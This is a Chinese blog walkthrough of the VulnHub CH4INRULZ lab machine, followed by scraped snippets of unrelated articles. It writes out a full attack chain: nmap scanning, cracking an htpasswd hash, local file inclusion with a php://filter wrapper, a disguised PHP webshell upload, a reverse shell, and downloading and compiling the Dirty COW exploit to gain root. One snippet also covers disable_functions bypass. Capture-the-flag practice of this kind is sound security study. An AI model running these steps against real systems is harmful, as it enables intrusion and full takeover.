vulnhub-CH4INRULZ渗透测试

news/2024/7/7 16:26:29

环境搭建

vulnhub官网https://download.vulnhub.com/ch4inrulz/CH4INRULZ_v1.0.1.ova
下载好后直接拖进来,失败就再拖一次,成功部署后就是一个登陆界面
在这里插入图片描述

思路

nmap扫出地址并且得到四个端口,80和8011开放了Web服务,之后扫文件发现index.html.bak利用john爆破拿到账号密码,并且发现/development目录状态码是401需要密码认证,进去以后发现是一个文件上传的功能,转到8011端口这边发现文件包含漏洞。两者结合。找到文件上传的路径后利用php伪协议拿到uploader.php的源码,知道文件上传的路径后配合文件包含可以反弹一个shell。这里还用到了kali自带了一些反弹shell的脚本。拿到shell后开始提权:查看内核版本,直接脏牛提权,在利用40349.c之前自己还利用了40847.cpp和40838.c两个脚本提权的,但是失败了,40847.cpp在编译的时候需要g++,但是靶机里面没有g++,安装的话需要权限。40838.c编译成功并且执行了,但是好像没用,弹回来一个图片就没了。

渗透测试

kali地址192.168.64.255,扫同段所有地址,筛选选择
工具使用(kali linux 中 nmap msf cs docker Goby)

nmap -sP 192.168.64.0/24 		//-sP :ping扫描(不进行端口扫描)
nmap -sV 192.168.64.130  		//-sV:可以显示服务的详细版本

在这里插入图片描述
这里有80、8011两个web端口,21号ftp端口,22号ssh端口,访问80端口
在这里插入图片描述
并没有发现什么有用的地方,用御剑扫一扫
在这里插入图片描述

再用dirsearch扫
在这里插入图片描述

挨个访问基本都是NOTHING here , yet !
在这里插入图片描述

访问/index.html.bak,下载打开发现注释,这里应该是账号密码
在这里插入图片描述

<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->

这里用john爆破John the Ripper password cracker(参考密码破解—John the Ripper使用)

cd /home/kali/Desktop/vulnhub/john-1.8.0/src
make clean linux-x86-64  		//根据自己系统版本选择
cd ../run
vim shadow.txt 					// frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0
./john shadow.txt

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
得到密码也是frank!!!,但是这里得到账号密码有什么用,其实这里访问/development/会有登陆框,登陆成功显示
在这里插入图片描述

在这里插入图片描述
访问/development/uploader发现上传框
在这里插入图片描述
这里尝试上传图片发现上传成功,但也并没有给出路径或者其他提示
在这里插入图片描述
尝试上传php一句话,发现做了限制,会对图片头部及后缀名进行审核
在这里插入图片描述在这里插入图片描述

虽然上传成功,但这里不知道路径也就没有能搞的地方了,所以先去:8011端口的web页面看一看,先用dirsearch扫
在这里插入图片描述
访问:8011/api发现4个php页面,但是只有files_api.php能够访问
在这里插入图片描述
在这里插入图片描述
提示要传file参数,这里尝试访问/etc/passwd

:8011/api/files_api.php?file=/etc/passwd

在这里插入图片描述

WRONG INPUT ! !尝试POST传参,发现成功读取
在这里插入图片描述既然能进行任意文件读取,那么我们可以读取upload.php来获得文件上传路径,但是这里也不知道80端口文件路径。这里通过apache的配置文件/etc/apache2/sites-enabled/000-default来获得

GET: :8011/api/files_api.php
POST: file=/etc/apache2/sites-enabled/000-default

在这里插入图片描述

在这里插入图片描述

知道upload.php文件路径后进行读取,这里发现没法直接读取,需要结合php伪协议读取uploader.php里面的内容

file=php://filter/read=convert.base64-encode/resource=/var/www/development/uploader/upload.php

在这里插入图片描述
base64解密得到源码

<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?

发现图片在/FRANKuploads/下,刚刚我们上传了一句话木马,这里直接进行文件包含并且上传参数

在这里插入图片描述
既然能进行包含并且能成功执行,那就再尝试反弹shell,这里用kali里面自带的php-reverse-shell.php文件,位于

/usr/share/webshells/php/php-reverse-shell.php

在这里插入图片描述

将IP地址修改成kali的地址和kali开启的监听端口,加上GIF89a图片头改为gif后缀进行上传

在这里插入图片描述
kali监听1234端口的同时利用:8011/api/files_api.php进行文件包含,这里我用kali反复连不上,换到本机就连上了

在这里插入图片描述
这里有了www-data权限后再稳定一下bash

python -c 'import pty;pty.spawn("/bin/bash")'

继续提权。查看内核版本信息,可用脏牛直接提权
在这里插入图片描述

将40839文件复制到桌面,开启一个http服务(也可以在网上找已经放好了个链接)

cp /usr/share/exploitdb/exploits/linux/local/40839.c ~/Desktop 
python -m SimpleHTTPServer 8848

在这里插入图片描述
让靶机从kali上下载40839.c文件(这里还是不行,所以我把扔到服务器上),提示不能写入,权限不够
在这里插入图片描述

查看各个目录的权限
在这里插入图片描述

我们将40839.c下载到/tmp目录下

 wget http://vulhub.yster.live/40839.c

在这里插入图片描述

编译执行可以输入新密码

 gcc -pthread 40839.c -o dirty -lcrypt

在这里插入图片描述
在这里插入图片描述
知道账号密码后直接登陆cat root.txt

su firefart
123456
cat /root/root.txt

在这里插入图片描述
在这里插入图片描述


http://www.niftyadmin.cn/n/1962313.html

相关文章

基于SSM框架实现oa项目

部分源代码和数据库在博客文件中db和src web.xml配置 <?xml version"1.0" encoding"UTF-8"?><web-app xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance" xmlns"http://java.sun.com/xml/ns/javaee" xsi:schemaLocati…

Ubuntu 12.04 安装使用DHCP Server

简单的DHCP server 在创建HDFS集群的时候&#xff0c;深感/etc/hosts中添加配置的不方便&#xff0c;容易不一致导致错误&#xff0c;工作量也大。 还是在局域网内创建dhcp服务器来的方便。官方文档&#xff1a;https://help.Ubuntu.com/community/isc-dhcp-server 先创建一…

Directx11代码下载

很多年前的代码&#xff0c;看还有朋友需要&#xff0c;上传到百度网盘了https://pan.baidu.com/s/1pnGFt84htvdXeK86pvyR8Qhttps://pan.baidu.com/s/1zTqSTFMc2M7dPNfIozXTjg转载于:https://www.cnblogs.com/mikewolf2002/p/10222254.html

收藏一下网站

http://www.x-io.co.uk/products/x-imu/ 国外 http://www.mxkong.com/forum.php 国内模型控网

disable_functions绕过总结

提要 Linux 中 PHP 环境&#xff0c;已知disable_functionsexec、passthru、popen、proc_open、shell_exec、system请写出两种有可能实现任意命令执行的方式 exec <?phpecho exec(whoami);?> — 执行一个外部程序 passthru <?…

js设计模式之策略模式

策略模式的定义是&#xff1a;定义一系列的算法&#xff08;这些算法目标一致&#xff09;&#xff0c;把它们一个个封装起来&#xff0c;并且使它们可以相互替换。 比如要实现从上海到广州&#xff0c;既可以坐火车&#xff0c;又可以坐高铁&#xff0c;还可以坐飞机。这取决与…

有关pthread锁和条件同步

代码&#xff1a; #include <stdio.h> #include <stdlib.h> #include <getopt.h> //getopt_long()头文件位置 #include <string.h> #include <unistd.h> #include <syslog.h> #include <pthread.h>void *thread1_function(void …

一个关于数据窗口中的日期的处理

//实时计算在华天数if dwo.name "tbrq_1" then li_pos PosW(data, ) if li_pos < 1 then return ls_temp left(data,li_pos - 1) ll_days gf_getdays(string(year(date(ls_temp))),& string(dw_1.GetItemnumber(1,&qu…